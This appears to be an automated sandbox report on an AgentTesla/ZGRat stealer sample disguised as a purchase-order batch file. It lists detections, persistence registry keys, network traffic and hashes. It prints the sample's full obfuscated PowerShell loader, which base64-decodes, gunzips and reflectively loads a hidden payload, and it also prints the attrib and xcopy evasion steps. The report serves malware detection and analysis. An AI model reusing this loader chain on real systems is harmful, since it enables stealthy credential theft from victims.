Malware Analysis Report

2025-06-15 21:51

Sample ID 240502-ble6cacf41
Target 6ce8d026bc776a7aad317b6601305905258136f469754085222371ccc27a2465
SHA256 6ce8d026bc776a7aad317b6601305905258136f469754085222371ccc27a2465
Tags
evasion agenttesla zgrat keylogger persistence rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6ce8d026bc776a7aad317b6601305905258136f469754085222371ccc27a2465

Threat Level: Known bad

The file 6ce8d026bc776a7aad317b6601305905258136f469754085222371ccc27a2465 was found to be: Known bad.

Malicious Activity Summary

evasion agenttesla zgrat keylogger persistence rat spyware stealer trojan

Detect ZGRat V1

ZGRat

AgentTesla

Sets file to hidden

Reads user/profile data of web browsers

Executes dropped EXE

Reads WinSCP keys stored on the system

Reads data files stored by FTP clients

Reads user/profile data of local email clients

Adds Run key to start application

Looks up external IP address via web service

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Views/modifies file attributes

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious behavior: CmdExeWriteProcessMemorySpam

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-02 01:13

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-02 01:13

Reported

2024-05-02 01:16

Platform

win7-20240221-en

Max time kernel

118s

Max time network

122s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat"

Signatures

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi N/A

Enumerates physical storage devices

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi N/A

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo F "

C:\Windows\system32\xcopy.exe

xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi

C:\Windows\system32\attrib.exe

attrib +s +h C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi

C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi

C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi -WindowStyle hidden -command "$Udydfldga = Get-Content 'C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat' | select-object -Last 1; $Eviptzvmy = [System.Convert]::FromBase64String($Udydfldga);$Ebawdvtqvk = New-Object System.IO.MemoryStream( , $Eviptzvmy );$Dlbpv = New-Object System.IO.MemoryStream;$Maplsau = New-Object System.IO.Compression.GzipStream $Ebawdvtqvk, ([IO.Compression.CompressionMode]::Decompress);$Maplsau.CopyTo( $Dlbpv );$Maplsau.Close();$Ebawdvtqvk.Close();[byte[]] $Eviptzvmy = $Dlbpv.ToArray();[Array]::Reverse($Eviptzvmy); $Jwbidbkxfb = [System.Threading.Thread]::GetDomain().Load($Eviptzvmy); $Gegworgxk = $Jwbidbkxfb.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi

MD5 92f44e405db16ac55d97e3bfe3b132fa
SHA1 04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA256 6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512 f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

memory/2256-5-0x00000000744C1000-0x00000000744C2000-memory.dmp

memory/2256-6-0x00000000744C0000-0x0000000074A6B000-memory.dmp

memory/2256-7-0x00000000744C0000-0x0000000074A6B000-memory.dmp

memory/2256-8-0x00000000744C0000-0x0000000074A6B000-memory.dmp

memory/2256-9-0x00000000744C0000-0x0000000074A6B000-memory.dmp

memory/2256-10-0x00000000744C0000-0x0000000074A6B000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-02 01:13

Reported

2024-05-02 01:16

Platform

win10v2004-20240419-en

Max time kernel

126s

Max time network

127s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat"

Signatures

AgentTesla

keylogger trojan stealer spyware agenttesla

Detect ZGRat V1

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ZGRat

rat zgrat

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi N/A

Reads WinSCP keys stored on the system

spyware stealer

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yzmkzigrbbf = "C:\\Users\\Admin\\AppData\\Roaming\\Yzmkzigrbbf.bat" C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MvQHOaQ = "C:\\Users\\Admin\\AppData\\Roaming\\MvQHOaQ\\MvQHOaQ.exe" C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 5056 set thread context of 4080 N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4140 wrote to memory of 1928 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4140 wrote to memory of 1928 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4140 wrote to memory of 1700 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\xcopy.exe
PID 4140 wrote to memory of 1700 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\xcopy.exe
PID 4140 wrote to memory of 1684 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4140 wrote to memory of 1684 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4140 wrote to memory of 5056 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi
PID 4140 wrote to memory of 5056 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi
PID 4140 wrote to memory of 5056 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi
PID 5056 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5056 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5056 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5056 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5056 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5056 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5056 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5056 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo F "

C:\Windows\system32\xcopy.exe

xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi

C:\Windows\system32\attrib.exe

attrib +s +h C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi

C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi

C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi -WindowStyle hidden -command "$Udydfldga = Get-Content 'C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat' | select-object -Last 1; $Eviptzvmy = [System.Convert]::FromBase64String($Udydfldga);$Ebawdvtqvk = New-Object System.IO.MemoryStream( , $Eviptzvmy );$Dlbpv = New-Object System.IO.MemoryStream;$Maplsau = New-Object System.IO.Compression.GzipStream $Ebawdvtqvk, ([IO.Compression.CompressionMode]::Decompress);$Maplsau.CopyTo( $Dlbpv );$Maplsau.Close();$Ebawdvtqvk.Close();[byte[]] $Eviptzvmy = $Dlbpv.ToArray();[Array]::Reverse($Eviptzvmy); $Jwbidbkxfb = [System.Threading.Thread]::GetDomain().Load($Eviptzvmy); $Gegworgxk = $Jwbidbkxfb.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 240.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 api.ipify.org udp
US 104.26.13.205:443 api.ipify.org tcp
US 8.8.8.8:53 205.13.26.104.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 25.14.97.104.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 48.251.17.2.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi

MD5 c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1 f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA512 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

memory/5056-5-0x000000007459E000-0x000000007459F000-memory.dmp

memory/5056-6-0x0000000002F30000-0x0000000002F66000-memory.dmp

memory/5056-7-0x0000000005AD0000-0x00000000060F8000-memory.dmp

memory/5056-8-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/5056-9-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/5056-10-0x00000000059A0000-0x00000000059C2000-memory.dmp

memory/5056-11-0x0000000005A40000-0x0000000005AA6000-memory.dmp

memory/5056-12-0x0000000006100000-0x0000000006166000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ll2inl4g.cpr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5056-22-0x0000000006170000-0x00000000064C4000-memory.dmp

memory/5056-24-0x00000000068F0000-0x000000000693C000-memory.dmp

memory/5056-23-0x0000000006840000-0x000000000685E000-memory.dmp

memory/5056-25-0x0000000007920000-0x00000000079B6000-memory.dmp

memory/5056-27-0x0000000006DF0000-0x0000000006E12000-memory.dmp

memory/5056-26-0x0000000006D80000-0x0000000006D9A000-memory.dmp

memory/5056-28-0x0000000007F70000-0x0000000008514000-memory.dmp

memory/5056-29-0x0000000008BA0000-0x000000000921A000-memory.dmp

memory/5056-30-0x0000000007BC0000-0x0000000007E02000-memory.dmp

memory/5056-31-0x0000000008520000-0x0000000008750000-memory.dmp

memory/5056-32-0x00000000087F0000-0x0000000008882000-memory.dmp

memory/5056-36-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-34-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-42-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-40-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-38-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-33-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-66-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-74-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-80-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-78-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-76-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-72-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-70-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-68-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-64-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-62-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-60-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-58-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-56-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-54-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-52-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-51-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-48-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-46-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-45-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-96-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-94-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-86-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-84-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-82-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-92-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-90-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-88-0x0000000008520000-0x000000000874B000-memory.dmp

memory/5056-4914-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/5056-4916-0x0000000008970000-0x00000000089BC000-memory.dmp

memory/5056-4915-0x0000000008900000-0x000000000896C000-memory.dmp

memory/5056-4917-0x00000000089D0000-0x0000000008A24000-memory.dmp

memory/4080-4922-0x0000000000400000-0x0000000000442000-memory.dmp

memory/4080-4923-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/4080-4924-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/5056-4925-0x0000000074590000-0x0000000074D40000-memory.dmp

memory/4080-4927-0x0000000006700000-0x0000000006750000-memory.dmp

memory/4080-4928-0x00000000069A0000-0x00000000069AA000-memory.dmp

memory/4080-4929-0x0000000074590000-0x0000000074D40000-memory.dmp